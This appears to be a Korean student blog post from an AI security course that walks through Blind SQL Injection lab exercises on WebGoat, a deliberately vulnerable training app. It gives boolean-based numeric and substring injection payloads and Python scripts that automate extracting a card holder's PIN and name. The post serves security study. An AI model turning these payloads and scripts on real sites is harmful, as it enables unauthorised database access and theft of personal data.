[KDT_AISEC] 6주차 - Blind SQL Injection

Gloomy·2024년 1월 27일
0

KDT_AISEC

목록 보기
16/25

Blind SQL Injection


Blind SQL Injection이란?

이번에는 저번에 다루지 못했던 Blind SQL Injection에 대해서 살펴보자. Blind SQL InjectionSQL Injection의 종류이지만, 말 그대로 Blind, 즉 특정 값이나 테이블, 데이터베이스의 정보가 없는 상황에서 정보를 뽑아내는 기법이다.

Blind SQL Injectionand연산을 이용하여 화면상에 출력되는 결과를 보고 값을 추정하는 기법이다. 바로 실습으로 들어가보자.

Blind SQL Injection 실습

Blind Numeric SQL Injection


이 문제의 목표는 pins라는 테이블에서 cc_number1111222233334444인 사람의 pin값을 가져오는것이 목표이다. 우선 기본으로 적혀있는 101을 전송해보자.

Account number is valid.

결과는 Account numbervalid하다고 한다. 그렇다면 다른 수도 넣어보자.

5555라는 값을 입력했더니 Invalid한 번호라고 나온다.

여기서 추론할 수 있는 부분은 앞의 쿼리는 어떤 형식인지 모르겠지만, 기존쿼리 where account_number=?의 형식이라고 생각할 수 있다. 그렇다면 기존쿼리 where account_number=101의 논리가 참이므로 and연산을 이용해 뒤에 특정 조건문 혹은 쿼리를 붙일 수 있다.

기존쿼리 where account_number=101 and (select pin from pins where cc_number='1111222233334444') > 0

라는 식으로 쿼리문을 전송한 후 결과를 살펴보자.

valid하다고 나온다. 그렇다면 5000을 넣어보자.

Invalid라는 결과가 나온다.

따라서 우리는 select pin from pins where cc_number='1111222233334444'라는 쿼리의 결과가 0보다 크고 5000보다 작다는 걸 알 수 있다. 이 과정을 반복해서 줄여나가보면 문제를 풀 수 있다.

Blind String SQL Injection


이번 문제의 목표는 아까처림 pin이 아닌 name을 추출하는 것이다. 문자열 추출을 위해서는 쿼리문의 substring함수에 대해 알아야 하는데, substring함수의 사용법은 다음과 같다.

주어진 문자열이 security라고 가정해보자.
substring의 사용법은 substring(문자열, 시작 인덱스(1부터 시작), 가져올 문자의 개수)형식이다.
즉, substring('security', 1, 1)은 security의 첫번째 글자부터 1개를 가져오는 것이므로 s에 해당한다.

해당 방식으로 문자를 한개씩 추출한 다음, 문자의 아스키 값을 비교하여 해당 문자를 특정하는 것이다.
첫번째 글자를 추출해보자.
101 and substring(select name from pins where cc_number='4321432143214321', 1, 1) > 'A'라는 쿼리를 보내니 valid가, 101 and substring(select name from pins where cc_number='4321432143214321', 1, 1) > 'a'라는 쿼리를 보내니 invalid가 나오는 것을 보면 첫번째 문자는 A보다 크고 a보다 작은 것을 알 수 있다. 이러한 방법으로 진행하다보면 답을 찾을 수 있다.

Blind SQL Injection with Python


Blind Numeric SQL Injection

손으로 하나하나 찾아도 위의 두 문제 같은 경우는 쉽게 찾을 수 있지만, 만약 문자열의 길이가 길거나 찾기 어려운 경우는 python을 이용하는 것이 효율적일 수 있다. 첫 번째 문제부터 풀어보자.

import requests
from bs4 import BeautifulSoup

url = 'http://webgoat7.com/WebGoat/attack?Screen=586116895&menu=1100'
cookies = {'JSESSIONID':'27ECDE6D05CC10D2041A0D3673AEA3ED'}
post_data = {'account_number':'101', 'SUBMIT':'Go!'}
response = requests.post(url, cookies=cookies, data=post_data)
html = response.text
soup = BeautifulSoup(html, 'html.parser')
print(soup.prettify())

해당 문제의 urlcookie, 그리고 POST방식으로 전송하는 데이터를 모두 넣어 Python으로 접속한 후 출력해보았다.

정상적으로 잘 접속되는 것을 볼 수 있다. 이제 우리가 필요한 부분을 추출해보자. 우리가 필요한 부분은 입력한 쿼리에 따라 변하는 부분이므로 해당 부분을 개발자 도구를 이용해서 추출해주겠다. 해당 부분인 Account number is validinspect하여 셀렉터를 복사한 후 추출해보자.

target_sentence = soup.select('#lesson-content-wrapper > div:nth-child(3) > form:nth-child(1) > p:nth-child(2)')
print(target_sentence)


분명히 셀렉터를 복사해서 출력했지만 아무것도 나오지 않는다. 그렇다면 아까 전의 결과 화면에서 타겟 문장이 p태그 내부에 있었기 때문에 p태그를 모두 찾아서 출력해보자.

target_sentence = soup.find_all('p')
print(target_sentence)


p태그는 정상적으로 잘 출력됐다. 우리가 찾는 문장은 리스트의 맨 마지막 인덱스에 위치해있으므로 따로 추출해주도록 하자.

target_sentence = soup.find_all('p')[-1].text
print(target_sentence)


타겟 문장을 성공적으로 추출한 모습이다. 이제 전송할 post_data에 쿼리문을 삽입한 후 반복문을 이용해서 답을 찾아보자.

import requests
from bs4 import BeautifulSoup

url = 'http://webgoat7.com/WebGoat/attack?Screen=586116895&menu=1100'
cookies = {'JSESSIONID':'27ECDE6D05CC10D2041A0D3673AEA3ED'}

# 타겟 문장의 결과를 저장할 리스트
flags = []
# 타겟 변수
pin = 0

for i in range(100000):
    post_data = {"account_number":"101 and (select pin from pins where cc_number='1111222233334444' > %d)"%i, "SUBMIT":"Go!"}
    response = requests.post(url, cookies=cookies, data=post_data)
    html = response.text
    soup = BeautifulSoup(html, 'html.parser')
    flags.append(soup.find_all('p')[-1].text)
    
    if i > 0:
        if flags[i] != flags[i-1]:
            pin = i
            break

print(f'pin: {pin}')

넉넉하게 루프를 10만으로 설정한 후, 값을 올려가면서 서버에 쿼리를 던지고 결과로 나오는 타겟 문장들을 flags리스트에 저장했다. 만약 이전 루프에서 저장한 flag와 현재 루프의 flag가 다르다면 반복문을 빠져나오고 pin을 출력하는 방식이다.

잘 동작하는것을 볼 수 있다.

Blind String SQL Injection

같은 방법으로 지난 글에서 사용했던 쿼리문을 전송해보자. 우선 반복문을 작성하기 전에 우리의 타겟문장부터 추출해보자.

import requests
from bs4 import BeautifulSoup

url = 'http://webgoat7.com/WebGoat/attack?Screen=1315528047&menu=1100'
cookies = {'JSESSIONID': '27ECDE6D05CC10D2041A0D3673AEA3ED'}
post_data = {'account_number': "101 and substring(select name from pins where cc_number = '4321432143214321', 1, 1) > 'A'", 'SUBMIT': 'Go!'}
response = requests.post(url, cookies=cookies, data=post_data)
html = response.text
soup = BeautifulSoup(html, 'html.parser')

target_sentence = soup.find_all('p')[-1].text
print(target_sentence)


동일한 방식으로 잘 추출할 수 있었다. 우선 기본적으로 이 문제의 답을 알고 있는 상황이고, 문제의 답은 알파벳 안에 있기 때문에 탐색 범위를 알파벳으로 한정해보자.
alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'라는 문자열 변수를 선언한 후 해당 문자열의 요소에 대해서만 반복문을 실행한다.

import requests
from bs4 import BeautifulSoup

alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'

url = 'http://webgoat7.com/WebGoat/attack?Screen=1315528047&menu=1100'
cookies = {'JSESSIONID': '27ECDE6D05CC10D2041A0D3673AEA3ED'}

answer = []

for i in range(1, 100):
    
    flags = []
    
    for char in alphabet:
        post_data = {'account_number': "101 and substring(select name from pins where cc_number = '4321432143214321', " + str(i) + ", 1) >= '" + char + "'", 'SUBMIT': 'Go!'}
        response = requests.post(url, cookies=cookies, data=post_data)
        html = response.text
        soup = BeautifulSoup(html, 'html.parser')

        flags.append(soup.find_all('p')[-1].text)
        
        if 'Account number is valid' not in flags:
            break
        
        elif flags[len(flags) - 1] != flags[len(flags) - 2]:
            answer.append(alphabet[alphabet.index(char) - 1])
            
print(''.join(answer))            

바깥 루프를 한번씩 실행할 때마다 각 문자들에 대한 플래그를 저장하고, 마지막으로 저장한 플래그와 그 이전에 저장한 플래그가 다르면 해당 문자의 이전 문자를 answer에 추가한 후 루프가 끝나고 출력했다.

답이 잘 출력되는것을 확인할 수 있다.

profile
𝙋𝙤𝙨𝙨𝙤 𝙁𝙖𝙧𝙚!

0개의 댓글